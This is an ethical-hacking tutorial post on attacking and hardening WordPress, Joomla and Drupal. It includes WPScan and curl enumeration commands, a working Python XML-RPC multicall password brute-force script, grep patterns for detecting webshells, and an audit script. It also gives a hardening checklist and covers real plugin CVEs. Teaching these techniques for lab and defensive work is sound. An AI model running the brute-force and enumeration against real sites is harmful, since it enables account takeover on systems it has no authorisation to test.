Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends

Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends

leh-banner.jpg

What will I learn

  • Why CMS platforms (WordPress, Joomla, Drupal) are prime targets for attackers;
  • WordPress enumeration: users, plugins, themes, and versions with WPScan;
  • Plugin vulnerabilities: the real attack surface of any WordPress installation;
  • XML-RPC brute force: bypassing rate limits with multicall;
  • Joomla and Drupal: scanning with JoomScan and droopescan;
  • Theme and plugin backdoors: supply chain attacks hitting CMS at scale;
  • Hardening CMS installations against the most common attacks.

Requirements

  • A working modern computer running macOS, Windows or Ubuntu;
  • Your hacking lab from Episode 2 (Kali Linux);
  • WPScan (pre-installed on Kali);
  • Docker for setting up WordPress locally (docker and docker-compose);
  • The ambition to learn ethical hacking and security research.

Difficulty

  • Intermediate

Curriculum (of the Learn Ethical Hacking series):

Solutions to Episode 23 Exercises

Exercise 1 -- Clickjacking PoC:

Built clickjack.html with invisible iframe over DVWA CSRF page.
Clicking "Claim Prize" triggered password change in DVWA.
After adding X-Frame-Options: DENY to Apache config:
  Header always set X-Frame-Options "DENY"
The iframe refused to load: "Refused to display in a frame because
it set X-Frame-Options to DENY." Clickjacking prevented.

The key insight: clickjacking is entirely preventable with a single HTTP header. The fact that so many sites still don't set it shows how easily security headers get overlooked.

Exercise 2 -- Client-side scanner:

import requests, re

def scan_client_side(url):
    resp = requests.get(url, timeout=10)

    # Clickjacking
    if 'x-frame-options' not in {k.lower() for k in resp.headers}:
        print("[!] Missing X-Frame-Options -- clickjacking possible")

    # localStorage usage
    if 'localStorage.setItem' in resp.text:
        print("[!] localStorage usage detected -- tokens may be stealable via XSS")

    # WebSocket endpoints
    ws_urls = re.findall(r'wss?://[^\s\'"]+', resp.text)
    for ws in ws_urls:
        print(f"[*] WebSocket endpoint: {ws}")

Exercise 3 -- Postmessage demo:

Vulnerable page: accepts any message, displays via textContent.
Attacker page: sends crafted messages from iframe.
Result: attacker controls displayed content on vulnerable page.

Secure page: checks event.origin === 'https://trusted.com'.
Result: messages from attacker's origin silently ignored.

Learn Ethical Hacking (#24) - Content Management Systems

WordPress powers 43% of all websites on the internet. Let that sink in for a second. Not 43% of blogs or 43% of small business sites -- 43% of EVERYTHING. Add Joomla, Drupal, and a handful of smaller CMS platforms, and you're looking at over 60% of the web running on content management systems. From personal blogs to Fortune 500 corporate sites, from university portals to government services, from tiny one-page portfolios to enormous e-commerce operations with millions of products.

Now think about what that means from an attacker's perspective. If you find a vulnerability in a WordPress plugin that 5 million sites have installed, you've just found a vulnerability in 5 million sites. You don't need to reconnaissance each target individually (episode 4). You don't need to scan each one (episode 5). You search for the plugin's fingerprint, build a list, and fire the exploit. This is why CMS security matters -- it's not about one website, it's about the entire category of software that the majority of the web is built on.

Having said that, the CMS CORE is usually not the problem. WordPress has a dedicated security team. Drupal's security team is legendary (Drupal has had remarkably few core RCEs in its 20+ year history). Even Joomla, which has historically been less security-conscious, has improved substantially. The core code gets audited, patched, and tested. The real attack surface -- the one that keeps breaking things -- is the plugin ecosystem.

De kern is solide. Het ecosysteem eromheen... niet zo.

Why CMS Platforms Are Prime Targets

There are five reasons CMS platforms dominate the vulnerability landscape:

1. Massive installation base. A WordPress plugin vulnerability affects every site that has it installed. Attackers think in terms of blast radius, and CMS gives them the biggest blast radius per vulnerability discovered.

2. Third-party plugin chaos. WordPress alone has over 60,000 plugins available. Many are written by solo developers who aren't security professionals. Many are abandoned -- no updates in years, known CVEs left unpatched, but still installed on thousands of sites because nobody bothered to remove them.

3. Non-expert administrators. Most WordPress installations are maintained by people who are NOT security professionals. They're business owners, bloggers, marketing teams. They install plugins because they need a feature, and they never think about whether that plugin introduces a vulnerability. They don't update regularly. They don't review changelogs. They don't know what xmlrpc.php is or why it should be disabled.

4. Predictable file structure. Every WordPress installation has /wp-admin/, /wp-content/plugins/, /wp-login.php, /xmlrpc.php. Every Joomla has /administrator/. Every Drupal has /user/login. The reconnaissance phase is trivial because the target's architecture is entirely predictable.

5. Legacy inertia. Sites get set up, plugins get installed, and then the whole thing runs for years without maintenance. I've seen WordPress installations running version 4.x in 2025 -- that's four MAJOR versions behind. Every unpatched version is an accumulation of known, documented, and publicly exploitable vulnerabilities.

Attack surface of a typical WordPress installation:

WordPress Core        -- usually patched, rarely the direct entry point
  |
  +-- Plugins         -- 60,000+ available, varying quality, THE main vector
  |     |
  |     +-- Active plugins (installed + enabled)
  |     +-- Inactive plugins (installed but disabled -- STILL exploitable!)
  |     +-- Abandoned plugins (no updates in 2+ years)
  |
  +-- Themes          -- same issues as plugins, less scrutiny
  |     |
  |     +-- Active theme
  |     +-- Inactive themes (STILL exploitable if files exist on disk)
  |
  +-- Configuration   -- wp-config.php exposure, debug mode, file permissions
  |
  +-- XML-RPC         -- brute force, SSRF, DDoS amplification
  |
  +-- REST API        -- user enumeration, data exposure (WP 4.7+)
  |
  +-- Users           -- weak passwords, predictable usernames, admin enumeration

That last point about inactive plugins and themes is critical. Many administrators think "deactivating" a plugin makes it safe. It doesn't. The PHP files are still on the web server. If a vulnerability exists in wp-content/plugins/old-gallery/upload.php, the attacker can reach it directly by URL regardless of whether the plugin is "active" in WordPress's admin panel. The only way to eliminate the attack surface is to DELETE the files entirely.

Enumeration with WPScan

WPScan is THE WordPress security scanner. It's pre-installed on Kali Linux, maintained by the team behind the WPScan Vulnerability Database (now part of Automattic, the company behind WordPress.com), and it's the first tool you reach for when assessing a WordPress target.

# Basic scan -- fingerprints WordPress version, basic checks
wpscan --url http://target.com

# Enumerate users (via author archives and REST API)
wpscan --url http://target.com --enumerate u

# Enumerate ALL plugins (aggressive -- tests 100,000+ plugin slugs)
wpscan --url http://target.com --enumerate p --plugins-detection aggressive

# Enumerate only VULNERABLE plugins (requires API token)
wpscan --url http://target.com --enumerate vp --api-token YOUR_TOKEN

# Enumerate themes
wpscan --url http://target.com --enumerate t

# Full enumeration with vulnerability cross-reference
wpscan --url http://target.com --enumerate u,vp,vt --api-token YOUR_TOKEN

# Brute force passwords against discovered users
wpscan --url http://target.com --passwords /usr/share/wordlists/rockyou.txt \
  --usernames admin,editor

What WPScan discovers:

  • WordPress version (from multiple sources: meta generator tag, RSS feed, readme.html, and version-specific CSS/JS files)
  • Installed plugins and their exact versions (by checking readme.txt files in each plugin directory)
  • Installed themes and their versions
  • Usernames (via author archives: /?author=1, /?author=2, etc., and the REST API user endpoint)
  • Known vulnerabilities for every detected version (using the WPVulnDB API -- this is why the --api-token flag matters)
  • Server headers, interesting findings, and misconfigurations

The aggressive plugin detection mode is slow (it checks tens of thousands of plugin slugs by requesting their readme.txt files) but thorough. The passive mode only detects plugins that are referenced in the page source (CSS/JS links, HTML comments). In a real pentest, you run aggressive mode and go get coffee ;-)

Manual WordPress Reconnaissance

Even without WPScan, you can extract a surprising amount of information manually. This is useful when WPScan isn't available, or when you want to understand what WPScan is doing under the hood:

# WordPress version from multiple sources
curl -s http://target.com/ | grep 'generator'
# <meta name="generator" content="WordPress 6.4.2" />

curl -s http://target.com/feed/ | grep 'generator'
# <generator>https://wordpress.org/?v=6.4.2</generator>

curl -s http://target.com/readme.html | head -20
# Often NOT removed after installation -- reveals WP version

# User enumeration via REST API (WordPress 4.7+)
curl -s http://target.com/wp-json/wp/v2/users | python3 -m json.tool
# Returns usernames, display names, descriptions, avatar URLs, profile links
# This endpoint is PUBLIC by default -- no authentication required

# User enumeration via author archive redirects
for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" \
    "http://target.com/?author=$i"
done
# 302 redirects reveal usernames: /author/admin/, /author/editor/, etc.
# 404 means no user with that ID

# Plugin detection by probing readme.txt files
for plugin in contact-form-7 akismet jetpack woocommerce \
  elementor wordfence yoast-seo wp-mail-smtp; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "http://target.com/wp-content/plugins/$plugin/readme.txt")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found plugin: $plugin"
    # Extract version from readme
    curl -s "http://target.com/wp-content/plugins/$plugin/readme.txt" \
      | grep -i 'stable tag'
  fi
done

# Check if XML-RPC is enabled (if yes: brute force + SSRF + DDoS vector)
curl -s -X POST http://target.com/xmlrpc.php \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# If it returns a list of methods, XML-RPC is enabled

# wp-config.php backup exposure (common misconfiguration)
for ext in bak old orig save swp "~"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "http://target.com/wp-config.php.$ext")
  if [ "$STATUS" = "200" ]; then
    echo "[!] wp-config backup found: wp-config.php.$ext"
  fi
done

That REST API user enumeration is particularly nasty. WordPress 4.7 introduced the REST API with user listing enabled by default and no authentication required. Every WordPress site running 4.7+ (which is... basically all of them at this point) exposes usernames to anyone who asks. The developer's argument was "usernames aren't secrets" -- which is technically true, but handing them to an attacker saves them the enumeration step from episode 4 and gives them half of every login credential for free.

Plugin Vulnerabilities: The Real Threat

Here's the numbers that tell the story. In 2023, WordPress core had approximately 25 CVEs. WordPress PLUGINS had over 4,800. That's a ratio of nearly 200 to 1. The plugins are the attack surface. They always have been.

Why? Because WordPress core has a security team, a bug bounty program, code review, and automated testing. A plugin writen by a freelance developer in their spare time has... none of that. And that plugin might be installed on 2 million sites.

Common plugin vulnerability patterns -- and notice how they map directly to what we've covered in previous episodes:

SQL injection in search/filter features: Many plugins add custom database queries without using WordPress's prepared statement API ($wpdb->prepare()). Same "SELECT * FROM {table} WHERE id = '{user_input}'" pattern we covered in episodes 12 and 13, just wrapped inside a WordPress plugin. The fix (parameterized queries) has been known since the 2000s. Plugins still ship without it.

File upload in gallery/media plugins: Plugins that handle file uploads often implement their own upload logic instead of using WordPress's built-in wp_handle_upload() function. They skip the content validation, they skip the extension checking, they skip the file type verification. Everything we covered in episode 20 applies directly -- upload a PHP shell through the gallery, get code execution.

Stored XSS in form/comment plugins: Contact form plugins, review plugins, social sharing plugins -- anything that stores and displays user content. If the plugin uses echo $user_input instead of echo esc_html($user_input), it's vulnerable to the stored XSS attacks from episodes 14 and 15.

Authentication bypass in membership plugins: Plugins that implement their own login system instead of using WordPress's built-in wp_authenticate(). Custom auth is almost always broken, in the exact ways we covered in episode 17 -- predictable tokens, missing rate limiting, insecure password resets.

# Search for known exploits for specific plugins
searchsploit wordpress contact-form
searchsploit wordpress woocommerce
searchsploit wordpress elementor

# Check the WPScan Vulnerability Database directly
# https://wpscan.com/search?text=plugin_name

# Search Exploit-DB (the online version of searchsploit)
# https://www.exploit-db.com/?q=wordpress+plugin_name

XML-RPC: The Forgotten Attack Surface

WordPress's XML-RPC interface (/xmlrpc.php) was designed for remote publishing -- desktop blogging clients, mobile apps, and third-party services could use it to create posts, upload media, and manage the site. These days, the REST API has replaced XML-RPC for almost everything. But XML-RPC is still enabled by default on most WordPress installations, and it supports a feature that makes it a brute force goldmine: multicall.

Regular brute force against wp-login.php sends one login attempt per HTTP request. Rate-limiting plugins count requests and block after 5-10 failures. But XML-RPC's system.multicall method lets you send HUNDREDS of authentication attempts in a SINGLE HTTP request:

#!/usr/bin/env python3
"""WordPress XML-RPC multicall brute force demonstration."""
import requests

TARGET = "http://target.com/xmlrpc.php"

def build_multicall(username, passwords):
    """Build a single XML-RPC request with multiple login attempts."""
    calls = ""
    for pwd in passwords:
        calls += f"""<value><struct>
            <member><name>methodName</name>
              <value><string>wp.getUsersBlogs</string></value></member>
            <member><name>params</name>
              <value><array><data>
                <value><string>{username}</string></value>
                <value><string>{pwd}</string></value>
              </data></array></value></member>
        </struct></value>"""

    return f"""<?xml version="1.0"?>
    <methodCall>
        <methodName>system.multicall</methodName>
        <params><param><value><array><data>
            {calls}
        </data></array></value></param></params>
    </methodCall>"""

# Load first 500 passwords from rockyou
with open('/usr/share/wordlists/rockyou.txt', errors='ignore') as f:
    passwords = [line.strip() for line in f if line.strip()][:500]

xml = build_multicall("admin", passwords)
resp = requests.post(TARGET, data=xml,
    headers={"Content-Type": "text/xml"}, timeout=60)

# Parse results -- successful auth returns blog data,
# failed auth returns a fault struct
if 'isAdmin' in resp.text:
    print("[+] Valid password found in this batch!")
    # Parse the XML response to identify which password worked
elif 'faultCode' in resp.text:
    print("[-] All passwords in this batch failed")
else:
    print("[?] Unexpected response -- check manually")

500 password attempts. One HTTP request. Most rate-limiting plugins see "one request from this IP" and let it through. The WordPress login page would have blocked you after 5 attempts. XML-RPC just processed 500 and didn't blink.

Beyond brute force, XML-RPC also enables:

  • Pingback DDoS amplification: The pingback.ping method makes the WordPress server send HTTP requests to arbitrary URLs. An attacker can use thousands of WordPress sites as a DDoS botnet against a single target.
  • SSRF via pingback: Same mechanism we covered in episode 18 -- the server makes requests on behalf of the attacker, potentially reaching internal services.
  • User enumeration: Failed wp.getUsersBlogs calls return different error messages for "invalid username" vs "incorrect password", confirming which usernames exist.

Disable it if you don't need it (and you almost certainly don't):

# .htaccess -- block all access to xmlrpc.php
<Files xmlrpc.php>
  Order Deny,Allow
  Deny from all
</Files>

Or in nginx:

location = /xmlrpc.php {
    deny all;
    return 403;
}

Or with a filter in functions.php:

// Disable XML-RPC entirely
add_filter('xmlrpc_enabled', '__return_false');

// Also remove the pingback header
add_filter('wp_headers', function($headers) {
    unset($headers['X-Pingback']);
    return $headers;
});

Joomla and Drupal: Not Just WordPress

WordPress gets the most attention because of its market share, but Joomla and Drupal have their own vulnerability histories and their own scanning tools.

Joomla has historically been less security-conscious than WordPress. Its component/module/plugin architecture is similar to WordPress's, and the same problems apply: third-party extensions with SQL injection, XSS, file upload vulnerabilities. Joomla's admin panel (/administrator/) is predictable, and older versions had critical RCEs in the core (the infamous CVE-2015-8562 PHP object injection in HTTP User-Agent parsing -- yes, the User-Agent header -- was one of the most widely exploited vulnerabilities of 2015-2016).

# JoomScan -- Joomla-specific scanner (install via apt or GitHub)
# https://github.com/OWASP/joomscan
perl joomscan.pl --url http://target.com

# What it finds:
# - Joomla version
# - Admin panel URL
# - Directory listing vulnerabilities
# - Config file exposure
# - Known CVEs for detected version
# - Installed components

Drupal has a much stronger security track record than both WordPress and Joomla. Drupal's security team is proactive, their update process is well-documented, and the community takes security seriously. But when Drupal has vulnerabilities, they tend to be catastrophic. The most famous: Drupalgeddon (CVE-2014-3704, SA-CORE-2014-005) -- a SQL injection in the login form that allowed unauthenticated remote code execution. And then Drupalgeddon 2 (CVE-2018-7600) -- another unauthenticated RCE, this time via the Form API. Both were so severe that automated exploitation began within hours of disclosure. If your Drupal wasn't patched within the first 24 hours, you should assume it was compromised.

# droopescan -- multi-CMS scanner (WordPress, Drupal, Joomla, SilverStripe)
# pip install droopescan
droopescan scan drupal -u http://target.com
droopescan scan joomla -u http://target.com

# What it finds:
# - CMS version
# - Installed plugins/themes/modules
# - README files, CHANGELOG files (version leaks)
# - Default files that shouldn't be publicly accessible

Theme and Plugin Backdoors: The Supply Chain Problem

Everything we've discussed so far assumed the plugin author had good intentions but bad security practices. Now consider the scenario where the plugin itself is the attack. Supply chain attacks on CMS ecosystems are a growing threat, and they come in several flavors:

Purchased plugin accounts: An attacker buys a popular plugin from its developer (or more commonly, buys the developer's account on the plugin marketplace). The plugin has 100,000 active installations. The attacker pushes an "update" that includes a backdoor. Every site with automatic updates enabled installs the backdoor automatically. This happened to the Social Warfare plugin in 2019 -- the attackers injected malicious code through a stored XSS in the plugin, which then loaded a remote JavaScript file on every site.

Nulled/pirated themes and plugins: "Nulled" premium themes are pirated copies distributed for free. They almost always contain backdoors -- hidden admin accounts, web shells in obscure files, phone-home scripts that report the site's URL and credentials to the attacker. Installing a nulled theme is like finding a USB drive in a parking lot and plugging it in. Free is expensive when it comes with a backdoor.

Abandoned plugin takeover: A developer abandons a plugin. WordPress eventually removes it from the official repository. But the slug (name) might become available again. An attacker registers a new plugin with the same slug, or takes over the abandonded developer's account. Sites that still have the old plugin installed might receive the attacker's version as an "update".

# Check for known backdoor indicators in WordPress
# These are common webshell patterns found in compromised themes/plugins

# Look for eval() with base64 in PHP files (classic obfuscated backdoor)
grep -r "eval(base64_decode(" /var/www/html/wp-content/ --include="*.php"

# Look for system/exec calls (webshell indicators)
grep -r "system(\|exec(\|passthru(\|shell_exec(" \
  /var/www/html/wp-content/ --include="*.php"

# Look for files that accept command input
grep -r "\$_GET\[.*cmd\|command\|exec\|shell\|c\]" \
  /var/www/html/wp-content/ --include="*.php"

# Check for recently modified files (backdoors are often recent)
find /var/www/html/wp-content/ -name "*.php" -mtime -7 -ls

# Look for PHP files in upload directories (should only contain media)
find /var/www/html/wp-content/uploads/ -name "*.php" -ls

Any PHP file in the uploads/ directory is suspicious. WordPress uploads go into wp-content/uploads/ organized by year and month. Legitimate uploads are images, PDFs, and other media files. A .php file in an uploads directory is almost certainly a webshell placed there through a file upload vulnerability -- exactly what we covered in episode 20.

Building a WordPress Security Auditor

Let's put together a comprehensive audit tool that combines the enumeration techniques we've covered:

#!/usr/bin/env python3
"""
wp_auditor.py -- WordPress security audit tool.
Combines version detection, user enumeration, plugin discovery,
XML-RPC testing, and security header checks.
"""
import requests
import re
import sys
import json

def detect_version(base_url):
    """Detect WordPress version from multiple sources."""
    versions = []

    # Meta generator tag
    try:
        resp = requests.get(base_url, timeout=10)
        match = re.search(r'content="WordPress\s+([\d.]+)"', resp.text)
        if match:
            versions.append(('meta_generator', match.group(1)))
    except:
        pass

    # RSS feed generator
    try:
        resp = requests.get(f"{base_url}/feed/", timeout=10)
        match = re.search(r'wordpress\.org/\?v=([\d.]+)', resp.text)
        if match:
            versions.append(('rss_feed', match.group(1)))
    except:
        pass

    # readme.html (often left on server)
    try:
        resp = requests.get(f"{base_url}/readme.html", timeout=10)
        if resp.status_code == 200:
            match = re.search(r'Version\s+([\d.]+)', resp.text)
            if match:
                versions.append(('readme_html', match.group(1)))
    except:
        pass

    return versions

def enumerate_users(base_url):
    """Enumerate WordPress users via REST API and author archives."""
    users = []

    # REST API (WordPress 4.7+)
    try:
        resp = requests.get(f"{base_url}/wp-json/wp/v2/users",
            timeout=10, headers={"User-Agent": "Mozilla/5.0"})
        if resp.status_code == 200:
            for user in resp.json():
                users.append({
                    'id': user.get('id'),
                    'name': user.get('name'),
                    'slug': user.get('slug'),
                    'source': 'rest_api'
                })
    except:
        pass

    # Author archive enumeration (fallback)
    if not users:
        for uid in range(1, 21):
            try:
                resp = requests.get(f"{base_url}/?author={uid}",
                    allow_redirects=False, timeout=5)
                if resp.status_code in [301, 302]:
                    location = resp.headers.get('Location', '')
                    match = re.search(r'/author/([^/]+)', location)
                    if match:
                        users.append({
                            'id': uid,
                            'slug': match.group(1),
                            'source': 'author_archive'
                        })
            except:
                pass

    return users

def check_xmlrpc(base_url):
    """Test if XML-RPC is enabled and supports multicall."""
    findings = []

    try:
        # Check if xmlrpc.php responds
        resp = requests.post(f"{base_url}/xmlrpc.php",
            data='<?xml version="1.0"?><methodCall>'
                 '<methodName>system.listMethods</methodName></methodCall>',
            headers={"Content-Type": "text/xml"}, timeout=10)

        if resp.status_code == 200 and 'methodResponse' in resp.text:
            findings.append("[!] XML-RPC ENABLED")

            if 'system.multicall' in resp.text:
                findings.append("[!] system.multicall available -- "
                    "brute force amplification possible")

            if 'pingback.ping' in resp.text:
                findings.append("[!] pingback.ping available -- "
                    "DDoS amplification + SSRF possible")
        else:
            findings.append("[+] XML-RPC appears disabled or blocked")
    except:
        findings.append("[?] Could not reach xmlrpc.php")

    return findings

def detect_plugins(base_url, plugin_list=None):
    """Detect installed plugins by probing readme.txt files."""
    if plugin_list is None:
        plugin_list = [
            'contact-form-7', 'akismet', 'jetpack', 'woocommerce',
            'elementor', 'wordfence', 'yoast-seo', 'wp-mail-smtp',
            'classic-editor', 'really-simple-ssl', 'updraftplus',
            'wpforms-lite', 'all-in-one-seo-pack', 'wp-super-cache',
            'google-analytics-for-wordpress', 'duplicate-post',
            'redirection', 'wp-fastest-cache', 'tinymce-advanced',
            'limit-login-attempts-reloaded', 'google-sitemap-generator',
            'wordpress-importer', 'wp-statistics', 'tablepress',
            'advanced-custom-fields', 'regenerate-thumbnails'
        ]

    found = []
    for plugin in plugin_list:
        try:
            url = f"{base_url}/wp-content/plugins/{plugin}/readme.txt"
            resp = requests.get(url, timeout=5,
                headers={"User-Agent": "Mozilla/5.0"})
            if resp.status_code == 200:
                version = "unknown"
                match = re.search(r'Stable tag:\s*([\d.]+)',
                    resp.text, re.IGNORECASE)
                if match:
                    version = match.group(1)
                found.append({'name': plugin, 'version': version})
        except:
            pass

    return found

def check_security_headers(base_url):
    """Check for security-relevant HTTP headers."""
    try:
        resp = requests.get(base_url, timeout=10)
    except:
        return ["[!] Could not connect"]

    headers = resp.headers
    findings = []

    checks = {
        'X-Frame-Options': 'Clickjacking protection',
        'X-Content-Type-Options': 'MIME sniffing protection',
        'Content-Security-Policy': 'Content Security Policy',
        'Strict-Transport-Security': 'HTTPS enforcement (HSTS)',
        'Referrer-Policy': 'Referrer information leakage',
        'Permissions-Policy': 'Browser feature restrictions',
    }

    for header, description in checks.items():
        if header.lower() in {k.lower() for k in headers}:
            findings.append(f"[+] {header}: present ({description})")
        else:
            findings.append(f"[!] {header}: MISSING ({description})")

    return findings

def run_audit(url):
    """Run the full WordPress security audit."""
    print(f"\n{'='*60}")
    print(f" WordPress Security Audit: {url}")
    print(f"{'='*60}\n")

    # Version detection
    print("[*] Detecting WordPress version...")
    versions = detect_version(url)
    for source, ver in versions:
        print(f"    {source}: WordPress {ver}")
    if not versions:
        print("    Could not detect version (may not be WordPress)")

    # User enumeration
    print("\n[*] Enumerating users...")
    users = enumerate_users(url)
    for user in users:
        slug = user.get('slug', user.get('name', 'unknown'))
        print(f"    ID {user['id']}: {slug} (via {user['source']})")
    if not users:
        print("    No users found (enumeration may be blocked)")

    # Plugin detection
    print("\n[*] Detecting plugins (top 25)...")
    plugins = detect_plugins(url)
    for p in plugins:
        print(f"    {p['name']} v{p['version']}")
    if not plugins:
        print("    No plugins detected (may need aggressive scan)")

    # XML-RPC
    print("\n[*] Checking XML-RPC...")
    xmlrpc = check_xmlrpc(url)
    for finding in xmlrpc:
        print(f"    {finding}")

    # Security headers
    print("\n[*] Checking security headers...")
    headers = check_security_headers(url)
    for finding in headers:
        print(f"    {finding}")

    print(f"\n{'='*60}")
    print(f" Audit complete. Review findings above.")
    print(f"{'='*60}\n")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 wp_auditor.py <wordpress_url>")
        sys.exit(1)
    run_audit(sys.argv[1])

This tool is a starting point -- it covers the most common checks in a single script. In practice you'd extend it with the WPVulnDB API for CVE lookups, more aggressive plugin lists (WPScan uses 100,000+), and version-specific vulnerability checks. But even this basic version reveals an uncomfortable amount about most WordPress installations.

Real-World Plugin CVEs: A Case Study

To understand the scale of the problem, let's look at three major WordPress plugin vulnerabilities from recent years:

Elementor (CVE-2022-29455) -- Reflected XSS: Elementor is the most popular page builder plugin with 5+ million active installations. A reflected XSS vulnerability in the Elementor widget handler allowed attackers to execute JavaScript in the context of any visitor's browser. Remember episode 14? This is exactly that -- user input reflected into the page without sanitization. Except the "page" was built by Elementor on 5 million sites.

WooCommerce (CVE-2023-28121) -- Authentication Bypass: WooCommerce Payments, installed on 600,000+ sites, had an authentication bypass that let unauthenticated attackers perform actions as any user -- including administrators. The vulnerability was in a custom header (X-WCPAY-PLATFORM-CHECKOUT-USER) that the plugin trusted without validation. Set the header, become admin. This is the authentication bypass pattern from episode 17, in a plugin that handles real money.

All-in-One WP Migration (CVE-2023-40004) -- Token Manipulation: This backup plugin with 5+ million installations had an access token vulnerability that allowed unauthenticated attackers to access backup data, modify configurations, and inject malicious code. The token was generated predicatbly and could be brute-forced. Backups contain the entire site: database credentials, user passwords, API keys, private content.

The common thread: these aren't obscure plugins written by amateurs. These are the TOP plugins in the WordPress ecosystem, with millions of installations, professional development teams, and dedicated maintenance budgets. If the big players ship vulnerabilities like these, imagine what the plugin with 500 installations and one developer looks like.

Hardening WordPress

Here's the hardening checklist that blocks the majority of CMS attacks:

# 1. Keep EVERYTHING updated -- core, plugins, themes, PHP itself
# WordPress auto-updates minor versions by default, but major updates
# and plugin/theme updates require manual action (or explicit opt-in)

# 2. Remove ALL unused plugins and themes -- even deactivated ones
# Deactivated != safe. The PHP files are still accessible.
wp plugin delete inactive-plugin-name
wp theme delete twentytwentyone  # if not using it

# 3. Disable XML-RPC (see the Apache/nginx/PHP methods above)

# 4. Disable file editing from the admin panel
# Add to wp-config.php:
define('DISALLOW_FILE_EDIT', true);
# This prevents editing theme/plugin files through the WordPress admin
# If an attacker gets admin access, they can't inject backdoors via the editor

# 5. Move wp-config.php above web root
# WordPress automatically checks one directory up
# /var/www/wp-config.php instead of /var/www/html/wp-config.php
# Now it's not accessible via URL even if .php processing breaks

# 6. Restrict wp-admin access by IP (if feasable)
# In .htaccess inside wp-admin/:
<Files wp-login.php>
  Order Deny,Allow
  Deny from all
  Allow from 1.2.3.4  # your IP
</Files>

# 7. Disable user enumeration via REST API
# Add to functions.php:
add_filter('rest_authentication_errors', function($result) {
    if (!is_user_logged_in()) {
        return new WP_Error('rest_forbidden', 'Unauthorized', ['status' => 401]);
    }
    return $result;
});

# 8. Set proper file permissions
find /var/www/html -type f -exec chmod 644 {} \;   # files
find /var/www/html -type d -exec chmod 755 {} \;   # directories
chmod 600 /var/www/html/wp-config.php               # config (tighter)

# 9. Use strong passwords + MFA for ALL admin accounts
# The wp-login.php brute force is trivial without rate limiting

# 10. Security headers (as we covered in episode 23)
# X-Frame-Options, CSP, X-Content-Type-Options, etc.

The most important point: keep plugins to a minimum. Every plugin you install is code you trust to run on your server. Every plugin is a potential vulnerability. The question isn't "does this plugin have a vulnerability RIGHT NOW" but "will this plugin have a vulnerability EVER." If you don't absolutely need it, don't install it. The safest plugin is the one that doesn't exist.

The AI Slop Connection

Continuing our thread from episode 6. CMS security exposes a specific AI slop pattern: AI-generated WordPress plugins and themes that look functional but contain textbook vulnerabilities.

AI models trained on WordPress development tutorials produce code that:

  • Uses $_GET and $_POST directly in SQL queries instead of $wpdb->prepare() -- creating SQL injection (episodes 12-13)
  • Handles file uploads without WordPress's wp_handle_upload() function -- creating file upload RCE (episode 20)
  • Renders user input with echo $variable instead of echo esc_html($variable) -- creating stored XSS (episodes 14-15)
  • Builds custom login forms without rate limiting, CSRF tokens, or account lockout -- creating authentication bypass (episode 17)
  • Implements REST API endpoints that return ALL database fields to any requester -- creating data exposure (episode 21)

The AI generates code that WORKS -- the plugin does what it's supposed to do. It also does things it's not supposed to do, because the AI has no concept of an adversary. The functional tests pass. The security tests were never written. And 10,000 sites install it because it solved their problem and they didn't read the source code ;-)

Het werkt perfect. Het is ook perfect onveilig.

Exercises

Exercise 1: Set up a WordPress instance in your lab using Docker (docker run -d -p 8080:80 -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_PASSWORD=password --name wordpress wordpress -- you'll also need a MySQL container). Install three popular plugins: Contact Form 7, Akismet, and a gallery plugin of your choice. Run WPScan against it with --enumerate u,p,t and document everything it discovers. Then run searchsploit for each detected plugin and version. Write your findings in ~/lab-notes/wp-scan-results.md.

Exercise 2: Write a Python script called wp_auditor.py that takes a WordPress URL and performs: (a) version detection from meta generator, RSS feed, and readme.html, (b) user enumeration via REST API and author archive redirects, (c) plugin detection by checking readme.txt for the top 50 most popular plugins, (d) XML-RPC status check including multicall and pingback availability. Format the output as a security report with risk ratings (CRITICAL, HIGH, MEDIUM, LOW) for each finding. Test it against your lab WordPress instance.

Exercise 3: Research three major WordPress plugin vulnerabilities from 2022-2024. For each one, document: the plugin name and active installation count, the vulnerability type (SQLi, XSS, RCE, auth bypass), the CVE number, the CVSS score, whether it was exploited in the wild before the patch was available, and what the fix was. Write your research in ~/lab-notes/wp-plugin-vulns.md and compare: are these the same vulnerability classes we covered in episodes 12-23, just wrapped in a WordPress plugin?


WordPress is niet onveilig. De plugins die je installeert zijn dat wel.

@scipio



0
0
0.000
2 comments
avatar

Thanks for your contribution to the STEMsocial community. Feel free to join us on discord to get to know the rest of us!

Please consider delegating to the @stemsocial account (85% of the curation rewards are returned).

Consider setting @stemsocial as a beneficiary of this post's rewards if you would like to support the community and contribute to its mission of promoting science and education on Hive. 
 

0
0
0.000